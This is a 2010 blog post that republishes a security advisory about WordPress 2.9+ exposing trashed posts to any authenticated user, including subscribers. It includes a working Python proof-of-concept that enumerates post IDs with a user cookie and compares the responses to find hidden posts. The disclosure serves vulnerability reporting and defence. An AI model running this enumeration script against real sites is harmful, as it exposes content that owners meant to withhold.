tmacuk

WordPress >= 2.9 Failure to Restrict URL Access

by tmac on Feb.13, 2010, under Hacks, Personal, Projects

Following on from the research I have been conducted, I have now released the following advisory and it has been forwarded onto the correct people at WordPress

WordPress >= 2.9 Failure to Restrict URL Access

http://www.thomasmackenzie.co.uk/

1. *Advisory Information*

Title: WordPress >= 2.9 Failure to Restrict URL Access
Date published: 13/02/2010

2. *Vulnerability Information*

Class: Failure to Restrict URL Access
Remotely Exploitable: Yes
Locally Exploitable: Yes

3. *Software Description*

WordPress is a state-of-the-art publishing platform with a
focus on aesthetics, web standards, and usability. WordPress
is both free and priceless at the same time. [0]

4. *Vulnerability Description*

Frequently, the only protection for a URL is that links to that page
are not presented to unauthorized users. Security by obscurity is
not sufficient to protect sensitive functions and data in an application.
Access control checks must be performed before a request to a sensitive
function is granted, which ensures that the user is authorized to access
that function. [1]

5. *Vulnerable packages*

Versions >= 2.9

6. *Non-vulnerable packages*

Versions < 2.9

7. *Vulnerability Overview*

Since version 2.9 a new feature was implemented so that users
were able to retrieve posts that they may have deleted by accident.
This new feature was labeled ‘trash’. Any posts that are placed within
the trash are only viewable by authenticated priveleged users.

8. *Technical Description*

When WordPress implemented the new feature they failed to change the
permissions granted when the post is in the trash. This means that
an unauthenticated user cannot see the post, however an authenticated
user can no matter what priviledges they have, even ’subscriber’.

“Subscriber [User Level 0] – Somebody who can read comments/comment/receive news letters, etc.” [2]

9. *PoC*


#/usr/bin/python
#
# WordPress > 2.9 Failure to Restrict URL Access PoC
#
# This script iterates through the WP post ID's as an authenticated and unauthenticated user.
# If the requests differ a 'Trash' post has been found.
#
# You will need an authenticated user cookie of any priveledge to run this script.
#
# Example cookie:
# wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8
#
# Will only work with WP URLs with the '/?p={int}' parameter. Would need to handle redirects (3xx) to handle all URL types.
#
#
# Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst (ethicalhack3r)

import httplib

# Declare vars
blogURL = "www.example.com"
userCookie = "enter_cookie_here"
postID = 0 #Leave at 0

conn = httplib.HTTPConnection(blogURL)
Headers = {"Cookie" : userCookie}

print
print "Target = http://" + blogURL + "/?p=" + str(postID)
print

while 1:

 # Start non authenticated enumeration

 request = '/?p=' + str(postID)
 conn.request("GET", request, "")

 try:
  r1 = conn.getresponse()
 except:
  print "Connection error"

 data1 = r1.read()

 # Start authenticated enumeration

 conn.request("GET", request, None, Headers)

 try:
  r2 = conn.getresponse()
 except:
  print "Connection error"

 data2 = r2.read()

 # Compare the HTML body reponses

 if data1 != data2:
  print "+ Found! http://" + blogURL + request
 else:
  print request

 postID += 1

conn.close()

10. *Credits*

Thomas Mackenzie (tmacuk) – http://www.thomasmackenzie.co.uk/
Original finder and tester.

Ryan Dewhurst (ethicalhack3r) – http://www.ryandewhurst.co.uk/
PoC creation and analysis.

Arron Finnon (f1nux) – http://www.finux.co.co.uk/
Helped with documentation.

Matthew Hughes – http://www.matthewhughes.co.uk/
Helped with documentation.

Robin Wood (digininja) – http://www.digininja.org/
Helped identify the vulnerability type.

11. *References*

[0] http://wordpress.org/
[1] http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
[2] http://codex.wordpress.org/Roles_and_Capabilities


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